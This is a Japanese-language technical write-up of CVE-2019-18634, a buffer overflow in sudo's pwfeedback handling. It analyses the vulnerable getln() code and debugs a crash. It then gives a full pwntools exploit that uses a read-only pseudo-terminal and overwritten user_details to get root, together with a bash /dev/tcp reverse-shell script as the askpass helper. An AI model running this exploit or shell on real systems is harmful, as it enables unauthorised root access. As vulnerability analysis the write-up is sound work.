
CVE-2019-18634 は、sudoers ファイルで pwfeedback が有効になっている場合に、バージョン 1.8.25 より前の Sudo に影響する脆弱性です。この脆弱性により、攻撃者は BSS-Based Buffer Overflow を利用して root への権限昇格が可能になります。このバッファオーバーフローでは、データ構造が書き換えられ、プログラムがあたかも root として実行されているかのように認識し、パスワードを要求しなくなり、root 権限が与えられます。
この分析では、まずコードを解析して何が問題なのかを理解することで、脆弱性の発見に深く立ち入ります。NIST の記事によると、脆弱性は getln() 関数に存在するということなので、まずそれを見てみましょう:
この関数は、ファイルディスクリプタから buffersize 回、1 バイトずつ読み取り、読み取った文字が sudo-term-kill である場合、送信されたすべての入力を消去し始め、現在のポインタを先頭に戻し、読み取る文字数を再び buffersize に設定することがわかります。
バグは次のコード断片に存在します:
static char *
getln(int fd, char *buf, size_t bufsiz, int feedback)
{
size_t left = bufsiz;
ssize_t nr = -1;
char *cp = buf;
char c = '\0';
debug_decl(getln, SUDO_DEBUG_CONV)
// ...
while (--left) {
nr = read(fd, &c, 1);
if (nr != 1 || c == '\n' || c == '\r')
break;
if (feedback) {
if (c == sudo_term_kill) {
while (cp > buf) {
if (write(fd, "\b \b", 3) == -1)
break;
--cp;
}
left = bufsiz;
continue;
}
// ...
}
*cp++ = c;
}
// ...
}
基本的に、sudo-term-kill 文字が存在する場合、write 操作が失敗すると、バッファポインタは減算されませんが、書き込める文字数のカウントはリセットされます。その結果、そのバッファに対して任意の長さの書き込みが事実上可能になります。
使用されているコードと関数を詳細に分析すると、sudo-term-kill 文字はグローバルな未宣言の整数として定義されていることがわかります。つまり、ターミナルから入力を受け取らない限り 0 に初期化され、ターミナルから入力を受け取った場合は、termios の c_cc 構造体に設定された値になります。ドキュメントによると、次のとおりです:

ここでは推論について深く立ち入りませんが、そのすべては Sudo リポジトリの term.c ファイルのソースコードを参照することで再現できます。
この小さな分析の後は、プログラムをクラッシュさせてデバッグし、何が格納されているのか、そしてそれをどのように悪用して利益を得られるのかを確認するだけです。
エクスプロイトを発動するには、バッファをオーバーフローさせてプログラムをクラッシュさせるのに十分なデータを含むペイロードを送信するだけです。そのために、Python ライブラリ pwntools を使うことにしました。
import pwn
payload = b"A\x00"*10000
p = pwn.process(["/usr/local/bin/sudo", "-k", "-S", "id"]) # -k for asking the password every time, -S to specify stdin, as pwntools needs to pass data through stdin
print(p.read())
p.sendline(payload)
print(p.read())
これを実行すると、次のエラーが発生しました:

ナイス!! セグメンテーションフォールトです。つまり、バイナリの実行をクラッシュさせる何かを上書きできたということです。次に、何が上書きされたのか、そしてそれを利用する方法を調べる必要があります。
バイナリをデバッグするには、ペイロードを送信する前にプロセスの実行を一時停止し、デバッガをアタッチしてから実行を継続するだけです。sudo プロセスをデバッグするには root 権限を利用する必要があるため、この方法を取らなければなりません。しかし、root 権限で実行すると、プログラムはパスワードを要求しなくなります。そこがまさに脆弱な部分です。
というわけで、バッファと後続のメモリアドレスに何が格納されたのかを見ていきましょう:

バッファ以外にも、複数のデータ構造が上書きされていることがわかります。これはこの脆弱性の悪用に向けて興味深いかもしれません。次に、それらのデータ構造が上書きされる前のデータを確認することにしました。そのために、同じスクリプトを実行しましたが、buffersize バイトのデータだけを上書きし、メモリを再度分析しました:
見てわかるように、signo データ構造は、548 番目の位置にある 0x02 というバイトを除いてすべて 0 です。その直後には user-details 構造体が続きます。これはコード内で sudo を実行しているユーザーの詳細として参照されています。0x02 は sudo.h ファイルで定義されている -S オプションを表しています。同じファイルには Askpass という別のオプションも定義されており、環境変数からプログラムを取得し、そのプログラムがパスワードを取得するためのヘルパーとして使用されます(TTY や STDIN の代わりに)。この情報があれば、悪用の経路が少し明確になるかもしれません。
カスタムのヘルパープログラム(たとえば、リバースシェル)を設定し、user-details を上書きして、sudo があたかも root によって実行されたかのように見せかけることができるかもしれません。
エクスプロイトにはまだ克服すべき課題があります。データ構造の元のデータを保持するために 0 を書き込む必要があり、さらにユーザー詳細を root のものに設定するためにも 0 を書き込む必要があります。そのため、標準入力は 0 を書き込まないので使用できません。幸いなことに、ターミナルデバイスを使用する場合、kill 文字は 0x15 であり、これはまったく必要のない文字であることがわかっています。
ここで問題が生じます。write 操作を失敗させる必要があるのですが、ターミナルデバイスは書き込み可能かつ読み取り可能であるため、write 操作を失敗させることができません。調査を行ったところ、疑似ターミナルについて知りました。これは本質的に、プログラムから作成でき、制御可能なターミナルデバイスです:
PTY を使用すると、マスタと通信でき、マスタがスレーブと通信します。スレーブに読み取り専用の権限を設定すると、プログラムはそこに書き込むことができなくなります(つまり、失敗します)。そのため、エクスプロイトを発動できるようになります。
これがすべて整ったら、あとはリバースシェルを書くだけです。
#!/usr/bin/bash
bash -i >& /dev/tcp/127.0.0.1/4242 0>&1
そしてエクスプロイト:
import os
import pwn
import sys
####### Offsets of important info #######
buff = 0x563142f712c0
signo = 0x563142f713e0
userdetails = 0x563142f71500
tgetflag = 0x563142f714e4
####### PTY file descriptors ######
masterfd, slavefd = os.openpty()
fd = os.open(os.ttyname(slavefd), os.O_RDONLY)
rshell = "/tmp/revshell.sh"
####### Process started with pty as stdin and rshell as sudo askpass program ###
proc = pwn.process(['/usr/local/bin/sudo', '-k', '-S', 'id'], env={'SUDO_ASKPASS':rshell}, stdin=fd)
pwn.log.info(f"Process started. Will execute {rshell} as payload")
####### Listener #######
port = pwn.listen(4242)
####### Payload #######
pwn.log.info("Sending Payload")
payload = (b'\x00' + b'\x15') * (tgetflag - buff)
payload += pwn.p64(0x4).ljust(userdetails - tgetflag, b'\x00')
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
os.write(masterfd, payload + b'\n')
port.wait_for_connection()
pwn.log.info("wo0t wo0t welcome back, my lord")
port.interactive()
これらを使用すると、root としてリバースシェルを受け取ります:
